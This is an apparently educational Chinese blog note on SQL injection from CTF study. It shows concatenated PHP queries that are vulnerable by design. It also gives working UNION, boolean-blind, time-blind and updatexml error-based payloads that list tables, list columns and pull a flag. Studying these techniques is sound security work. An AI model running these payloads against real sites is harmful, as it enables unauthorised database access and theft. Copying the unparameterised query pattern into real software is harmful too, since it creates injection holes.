- 数字型注入与字符型注入的区别
关于数字型和字符型的判断,主要是来自于php中对于传入语句的区别。
数字型:$sql = mysqli_query($conn,"SELECT id,content FROM news WHERE id =".$_GET['id'])
字符型:$sql = mysqli_query($conn,"SELECT id,content FROM news WHERE id ='".$_GET['id']."'")
此处的区别就是传入时的区别,可以利用id = 3-1的回显判断是哪种注入,如果回显正常,那么就是数字型注入,如果页面返回为空,继续访问id = a,如果是正常回显则为字符型注入。
- 数字型注入和UNION注入
判断为数字型注入之后,开始进行SQL注入,而且此处的注入点是id,因此直接通过id入手,进行注入时,由于PHP代码决定该界面只显示一行记录,要设置id为-1或者是其他很大的数;或者是限定limit 1,1,用来指定查询第几条记录。假设已知有三个字段,2的位置会产生回显,于是进行注入payload:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
此时可以回显出所有的表名,然后找到有用的表名(假设是user)进一步注入payload:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'
然后就可以找到对应的字段名(假设flag在flag字段中),然后可以进一步注入payload:?id=-1 union select 1,flag,3 from flag
。 - 字符型注入
得知是字符型注入之后,可以使用单引号必和前面的单引号,然后注释掉后面的内容,于是使用"--%20"或者"%23"注释,然后后续的方法与数字型注入相同。 - 布尔盲注
原理是利用sql的强制转换,然后进行判断的功能,如果判断为true,则会回显,如果判断错误,则会回显空白,于是直接从后面进行判断,可以使用substring()、mid()、substr()函数进行判断,substring()函数和mid()函数起始值是1,substr()函数起始值是0。因此可以利用这些函数进行猜解,payload:?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100%23
,然后可以像之前一样进一步的猜解。时间盲注的回显是通过对于回显的时间进行判断是否正确,例如payload:(if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))%23
。 - 报错注入
形式就是当的语句出现错误时,会出现错误调试信息,主要是updatexml()函数和extractvalue()函数,updatexml()第二个参数为合法的XPATH路径,如果报错则会放回传入的参数进行输出。所以构造payload:id=1' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
- 堆叠注入
多条语句一起执行,与UNION注入的区别是union的能力有限,而堆叠注入可以构造任意语句,使用(;)连接,在过滤较多但没有过滤(;)的题目中也许能够派上用场。
根据注入点的不同,注入姿势也是不一样的,以后会根据源码进行分析。
以上是阅读从0到1之后的一些笔记,均未涉及对关键字的过滤情况,在以后的整理中会有详细整理。
评论 (0)